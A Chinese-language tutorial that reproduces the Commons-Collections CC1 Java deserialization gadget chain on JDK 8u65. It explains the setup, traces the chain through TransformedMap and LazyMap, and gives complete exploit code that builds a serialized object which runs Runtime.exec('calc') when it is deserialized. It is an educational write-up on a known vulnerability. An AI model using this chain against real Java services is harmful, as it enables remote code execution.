Java反序列化Commons-Collection篇01-CC1链
<1> 环境配置
因为CC1链在jdk 8u71后就修复了 因此我们复现就利用 8u65的版本
去官网下载 jdk8u65
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
然后去 下载openjdk
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/
把下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65里
打开IDEA 新建一个Maven项目 选择 org.apache.maven.archetypes:maven-archetype-webapp
导入commons collections maven依赖
将下面写入到 pom.xml 里
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
然后打开 IDEA 文件->项目结构-> SDK -> 源路径设置 填上刚才设置的的src目录
在src目录下右键创建java目录 resource目录
这里IDEA在src创建目录时提供了这两个选项 直接创建即可
<2> 链子分析
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
(1) 找Sink
链子主要用到的是这个 transformer接口。这个接口就接受一个Object类然后利用方法transform
InvokerTransformer 相当于帮我们实现了一个反射调用,参数都可控
因此我们可以通过 InvokerTransformer类的 transform 方法来invoke Runtime类getRuntime对象的exec实现 rce
代码如下:
public class CC1Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
所以我们也就找到了CC1链的 Sink点 --- InvokerTransformer::transform()
(2) 找gadget
在知道了 InvokerTransformer::transform()可以rce之后,我们就找一下 哪些类可以调用 InvokerTransformer.transform()方法
查找一下 transform() 的用法:
发现TransformedMap类的 checkSetValue() 里使用了 valueTransformer调用transform()
而这个 valueTransformer参数是否可控呢? 是什么类型呢?
我们跟进查看一下 TransformedMap类
TransformedMap类
//构造方法 但是是protected类型的
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//可以利用decorate方法来生成 TransformedMap实例
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
这里可以看到 valueTransformer是Transformer类型,而且构造函数里可以直接赋值 可控。
如果我们可以调用 TransformedMap的checkSetValue方法,那我们给 valueTransformer 赋值 构造的InvokerTransformer实例 就可以通过 valueTransformer.transform(value);
实现 InvokerTransformer.transform(value); 从而 rce
继续找入口点,去触发checkSetValue
跟进查看 发现只有 父类 AbstractInputCheckedMapDecorator抽象类里的 MapEntry 的setValue() 调用了checkSetValue()
因此我们可以再次构造一个链子 实现rce
代码如下:
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transfromedMap.entrySet()){
entry.setValue(r);
}
}
}
(3) 找反序列化入口点
继续找链子,最终我们应该找到的是一个 继承了Serialize接口的,实现了readObject()方法且方法里调用了链子里的某个函数。
如果找不到序列化入口点的话,就需要再看看哪个类里面调用了触发setValue()的方法,实现entry.setValue()的效果,需要多走一层
但是CC1里刚好,AnnotationInvocationHandler类readObject里面的readObject方法调用了setValue 且可被利用
循环遍历了map,且对 membervalue调用了setValue。完美符合了我们刚才测试代码的格式
我们跟进看一下 AnnotationInvocationHandler类 有什么是可以控制的
Annotation就是Java里面注解的意思,所以这个类是和Java注解有关的一个类 而且invocationHandler动态代理中的一个调用处理器类
注意这个类不是public类型,不能直接获取,因此需要反射获取
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
根据这些,我们可以将代码改为:
public class CC1Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {
Runtime r = Runtime.getRuntime();
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, invokerTransformer);
// for(Map.Entry entry:transfromedMap.entrySet()){
// entry.setValue(r); 这里 setValue应该传 Runtime.getRuntime()对象的
// }
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap);
}
但是呢,这里还存在两个问题
- annotationInvocationHandler类readObject里 setValue() 里参数好像是控制不了的
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
- 前面测试里的,Runtime对象是自己生成的,但是它没有继承Serializable接口,是不能被序列化的
Runtime对象不能序列化问题--解决
Runtime()没有继承Serializable接口,不能序列化,那我们想一想 什么是可以被序列化的呢?
它的 Class(类的原型)是可以序列化的,可以通过它的Class 弄出来一个它
过程:获取Runtime Class -> 获取 getRuntime()方法 -> 获取 实例 -> 获取 exec方法
需要三次反射
代码如下:
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
转化为用链子的Sink点 InvokerTransformer的transform来反射
代码如下:
Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
可以看到 用InvokerTransformer的transform来反射 都是后一个调前一个这种的
有一个 ChainedTransformer 类正好可以干这个,我们来看一下这个类
我们就可以利用这个类,把他们写在一起 写成一个Transformer[] 数组即可
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
因此,原本的链子代码,可以转化为:
public class CC1Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
但是 我们执行一下 缺并不能弹出计算器 因为还有一个问题没有解决
annotationInvocationHandler类readObject里 setValue() 里参数控制 --解决
我们调试进去看一下
在反序列化 readObject执行时, 会给name = memberValue.getKey();
而memberValue即为我们传入的Map,所以就是获得它的key,这里我们赋的值为"key"
然后会 执行memberType = memberTypes.get(name);
什么是memberTypes呢?
它会获取memberType里的名为 name 的成员方法
由于注解 Override 里面并没有key这个参数 因此会导致 memberType为null 进不去if语句里了
那我们必须一个满足条件的有成员方法的Class,同时我们的Map里的key值还要改为这个成员方法名字。而 Target里有 value方法。
那我们更改构造器里 Override.class 为 Targe.class
同时更改Map 的key的值为字符串"value" 这样不就能找到了吗?
成功进入if语句里
然后底下那个if 判断 if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))
实际上是判断它俩能不能强转,肯定强转不了的。能进来
最后就到了这个 setValue()的地方,如果这里能控制,那我们就可以命令执行了 但是参数好像 它是new的一个代理类,并不能被控制 怎么办呢?
继续跟进,看一下,到了这里,就是最后的这个点了
这里这个valueTransformer.transform(value); 实际上我们需要把value 改成这个Runtime.class 才可以
而这里的value是 这个 AnnotationTypeMismatchExceptionProxy
//valueTransformer.transform(value);
//chainedTransformer.transform(Runtime.class);
这样的话,就不得不提到这个 ConstantTransformer类了
ConstantTransformer类
它重写了transform方法。它的特点就是不管它接受什么输入input,都返回特定的那个值iConstant
运用到这边的话,那就十分好用了。 即使最后的那个输入并不理想,只要最后调用了这个类的transform()方法,然后就可以从这里入手,无视input,改成特定的那个值iConstant。
这里我们把 new ConstantTransformer(Runtime.class)
写入到 transformers数组里, 就是说在最后valueTransformer.transform(value);
即 chainedTransformer.transform(代理object);
循环调用的时候,首先调用了 ConstantTransformer的transform方法,把输入的这个value无视,而返回 Runtime.class
达到控制的效果。 最后 实现了 获取Runtime Class -> 获取 getRuntime()方法 -> 获取 实例 -> 获取 exec方法
最后,成功执行calc
<3> LazyMap链分析
和之前的差不多,实际上区别就是 这个.get 是在LazyMap.get()
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
所以原本的代码应该改为:
public class CC1_lazy {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("sercc1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc1.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}